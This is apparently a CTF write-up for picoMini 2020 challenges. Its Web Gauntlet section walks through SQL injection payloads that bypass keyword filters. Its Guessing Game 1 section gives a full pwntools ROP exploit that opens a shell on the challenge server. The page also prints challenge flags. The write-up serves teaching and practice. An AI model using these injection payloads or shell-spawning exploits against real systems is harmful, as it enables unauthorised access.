picoMini 2020
{"author" : ["ret2basic"]}

Pitter, Patter, Platters (Autopsy)

Challenge

'Suspicious' is written all over this disk image. Download suspicious.dd.sda1

Solution

Open the file in Autopsy. There is a text file named suspicious-file.txt:
Flag
1
Copied!

Web Gauntlet (SQLite Injection, WAF Bypass)

Challenge

Solution

Some Background Knowledge
If we enter user:password on the login page, the backend SQL query will be something like this:
1
SELECT * FROM users WHERE username='user' AND password='solarwinds123';
Copied!
Typically the very first payload for testing SQLi is ' or 1=1;--, which results in the following SQL query:
1
SELECT * FROM users WHERE username='' or 1=1;-- AND password='solarwinds123';
Copied!
Here the leading ' closes the username field and anything comes after -- is considered as comment (hence ignored). Since '' evaluates to False and 1=1 evaluates to True, the entire SQL statement always evaluates to True.
Round 1
Filter: or
In this round, the boolean expression or is filtered. We have to come up with a different payload. Alternatively, since the SQL default admin user is named admin, one possible payload without using or is admin';--. The corresponding SQL query is:
1
SELECT * FROM users WHERE username='admin';--' AND password='solarwinds123';
Copied!
The SQL query got executed is shown in the background:
Round 1 Done
Round 2
Filter: or and like = --
For this round, simply remove the -- from the payload for Round 1. The corresponding SQL query is:
1
SELECT * FROM users WHERE username='admin';' AND password='solarwinds123';
Copied!
This query is still semantically correct since ; closes the statement SELECT * FROM users WHERE username='admin':
Round 2 Done
Round 3
Filter: or and = like > < --
The payload for Round 2 works for this round as well:
Round 4
Filter: or and = like > < -- admin
Since admin is filtered, we have to come up with another approach. A typical solution for such filter is the UNION attack. The UNION keyword in SQL allows multiple SQL statements to be executed. For example:
1
SELECT Alice, Bob FROM good_people UNION SELECT Eve, Mallory FROM bad_people
Copied!
In our case, we could construct an UNION attack as the following:
1
SELECT * FROM users WHERE username='ret2basic' UNION SELECT * FROM users LIMIT 1;' AND password='solarwinds123';
Copied!
However, this payload does not work since space is filtered. To bypass this filter, let's replace all spaces with /**/ (empty comment is equivalent to space):
1
SELECT * FROM users WHERE username='ret2basic'/**/UNION/**/SELECT/**/*/**/FROM/**/users/**/LIMIT/**/1;' AND password='solarwinds123';
Copied!
This payload works:
Round 4 Done
Round 5
Filter: or and = like > < -- union admin
Since union is filtered in this round, we should switch back to the admin';-- idea. There are two things that need to be changed:
  1. 1.
    Since admin is filtered, we could split admin into adm'||'in, where || is used for concatenating strings.
  2. 2.
    Since -- is filtered, we could replace ;-- with /* to comment out the things that we don't need.
The complete SQL query is:
1
SELECT * FROM users WHERE username='adm'||'in'/*' AND password='solarwinds123';
Copied!
Now go grab your flag:
Round 5 Done

Source Code

1
<?php
2
session_start();
3
4
if (!isset($_SESSION["round"])) {
5
$_SESSION["round"] = 1;
6
}
7
$round = $_SESSION["round"];
8
$filter = array("");
9
$view = ($_SERVER["PHP_SELF"] == "/filter.php");
10
11
if ($round === 1) {
12
$filter = array("or");
13
if ($view) {
14
echo "Round1: ".implode(" ", $filter)."<br/>";
15
}
16
} else if ($round === 2) {
17
$filter = array("or", "and", "like", "=", "--");
18
if ($view) {
19
echo "Round2: ".implode(" ", $filter)."<br/>";
20
}
21
} else if ($round === 3) {
22
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--");
23
// $filter = array("or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
24
if ($view) {
25
echo "Round3: ".implode(" ", $filter)."<br/>";
26
}
27
} else if ($round === 4) {
28
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "admin");
29
// $filter = array(" ", "/**/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
30
if ($view) {
31
echo "Round4: ".implode(" ", $filter)."<br/>";
32
}
33
} else if ($round === 5) {
34
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "union", "admin");
35
// $filter = array("0", "unhex", "char", "/*", "*/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
36
if ($view) {
37
echo "Round5: ".implode(" ", $filter)."<br/>";
38
}
39
} else if ($round >= 6) {
40
if ($view) {
41
highlight_file("filter.php");
42
}
43
} else {
44
$_SESSION["round"] = 1;
45
}
46
47
// picoCTF{y0u_m4d3_1t_16f769e719ab9d3e310fd13dc1262ee1}
48
?>
Copied!
Flag
1
picoCTF{y0u_m4d3_1t_16f769e719ab9d3e310fd13dc1262ee1}
Copied!

Guessing Game 1 (ret2syscall)

Challenge

I made a simple game to show off my programming skills. See if you can beat it! vuln vuln.c Makefile nc jupiter.challenges.picoctf.org 26735

Makefile

1
all:
2
gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c
3
4
clean:
5
rm vuln
Copied!
The binary is statically linked, so things like ret2libc won't work.

Source Code

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <unistd.h>
4
#include <sys/types.h>
5
#include <sys/stat.h>
6
7
#define BUFSIZE 100
8
9
10
long increment(long in) {
11
return in + 1;
12
}
13
14
long get_random() {
15
return rand() % BUFSIZE;
16
}
17
18
int do_stuff() {
19
long ans = get_random();
20
ans = increment(ans);
21
int res = 0;
22
23
printf("What number would you like to guess?\n");
24
char guess[BUFSIZE];
25
fgets(guess, BUFSIZE, stdin);
26
27
long g = atol(guess);
28
if (!g) {
29
printf("That's not a valid number!\n");
30
} else {
31
if (g == ans) {
32
printf("Congrats! You win! Your prize is this print statement!\n\n");
33
res = 1;
34
} else {
35
printf("Nope!\n\n");
36
}
37
}
38
return res;
39
}
40
41
void win() {
42
char winner[BUFSIZE];
43
printf("New winner!\nName? ");
44
fgets(winner, 360, stdin);
45
printf("Congrats %s\n\n", winner);
46
}
47
48
int main(int argc, char **argv){
49
setvbuf(stdout, NULL, _IONBF, 0);
50
// Set the gid to the effective gid
51
// this prevents /bin/sh from dropping the privileges
52
gid_t gid = getegid();
53
setresgid(gid, gid, gid);
54
55
int res;
56
57
printf("Welcome to my guessing game!\n\n");
58
59
while (1) {
60
res = do_stuff();
61
if (res) {
62
win();
63
}
64
}
65
66
return 0;
67
}
Copied!
Note that the function get_random() does not return a random number at all since rand() is unseeded. To confirm:
1
#include <stdio.h>
2
#include <stdlib.h>
3
4
#define BUFSIZE 100
5
6
long get_random()
7
{
8
return rand() % BUFSIZE;
9
}
10
11
int main(int argc, char **argv)
12
{
13
printf("%ld\n", get_random());
14
}
Copied!
The output is 83, no matter how many times you run it.
Also, pay attention to these two lines of the source code:
1
long ans = get_random(); // ans = 83
2
ans = increment(ans); // ans = 84
Copied!
The correct answer to the question "What number would you like to guess?" should be 84.

Solution

Since the binary does not contain the string /bin/sh\x00, we have to construct a 2-stage exploit:
  • Stage 1: build a ROP chain for writing the string /bin/sh\x00 to a writable memory location. A common choice is the .bss section. The address of .bss can be found using Pwntools elf.bss() method.
  • Stage 2: perform ret2syscall to execute execve(<address of /bin/sh>, 0, 0).

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------Setup--------#
5
6
context(arch="amd64", os="linux")
7
8
elf = ELF("vuln", checksec=False)
9
10
local = False
11
if local:
12
r = elf.process()
13
else:
14
host = "jupiter.challenges.picoctf.org"
15
port = 26735
16
r = remote(host, port)
17
18
#--------ret2syscall--------#
19
20
offset = 120
21
pop_rax = 0x00000000004163f4
22
write_gadget = 0x000000000048dd71
23
bin_sh_address = elf.bss()
24
pop_rdi = 0x0000000000400696
25
pop_rsi = 0x0000000000410ca3
26
pop_rdx = 0x000000000044a6b5
27
syscall = 0x000000000040137c
28
29
payload = flat(
30
b"A" * offset,
31
# Write "/bin/sh\x00" to bss
32
pop_rdx, "/bin/sh\x00",
33
pop_rax, bin_sh_address,
34
write_gadget,
35
# Call execve
36
pop_rax, 0x3b,
37
pop_rdi, bin_sh_address,
38
pop_rsi, 0,
39
pop_rdx, 0,
40
syscall,
41
)
42
43
r.sendlineafter("What number would you like to guess?\n", "84")
44
r.sendlineafter("Name? ", payload)
45
r.interactive()
Copied!
Flag
1
Copied!

Guessing Game 2

Challenge

It's the Return of your favorite game! vuln vuln.c Makefile nc jupiter.challenges.picoctf.org 57529

Makefile

1
all:
2
gcc -m32 -no-pie -Wl,-z,relro,-z,now -o vuln vuln.c
3
4
clean:
5
rm vuln
Copied!
The binary is dynamically linked this time, which makes ret2libc possible.

Source Code

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <unistd.h>
4
#include <sys/types.h>
5
#include <sys/stat.h>
6
7
#define BUFSIZE 512
8
9
10
long get_random() {
11
return rand;
12
}
13
14
int get_version() {
15
return 2;
16
}
17
18
int do_stuff() {
19
long ans = (get_random() % 4096) + 1;
20
int res = 0;
21
22
printf("What number would you like to guess?\n");
23
char guess[BUFSIZE];
24
fgets(guess, BUFSIZE, stdin);
25
26
long g = atol(guess);
27
if (!g) {
28
printf("That's not a valid number!\n");
29
} else {
30
if (g == ans) {
31
printf("Congrats! You win! Your prize is this print statement!\n\n");
32
res = 1;
33
} else {
34
printf("Nope!\n\n");
35
}
36
}
37
return res;
38
}
39
40
void win() {
41
char winner[BUFSIZE];
42
printf("New winner!\nName? ");
43
gets(winner);
44
printf("Congrats: ");
45
printf(winner);
46
printf("\n\n");
47
}
48
49
int main(int argc, char **argv){
50
setvbuf(stdout, NULL, _IONBF, 0);
51
// Set the gid to the effective gid
52
// this prevents /bin/sh from dropping the privileges
53
gid_t gid = getegid();
54
setresgid(gid, gid, gid);
55
56
int res;
57
58
printf("Welcome to my guessing game!\n");
59
printf("Version: %x\n\n", get_version());
60
61
while (1) {
62
res = do_stuff();
63
if (res) {
64
win();
65
}
66
}
67
68
return 0;
69
}
Copied!

Solution

Exploit

1
Copied!
Flag
1
Copied!

OPT Implementation

Challenge

Yay reversing! Relevant files: otp flag.txt

Solution

Implementation

1
Copied!
Flag
1
Copied!
tags: picoCTF
Last modified 5mo ago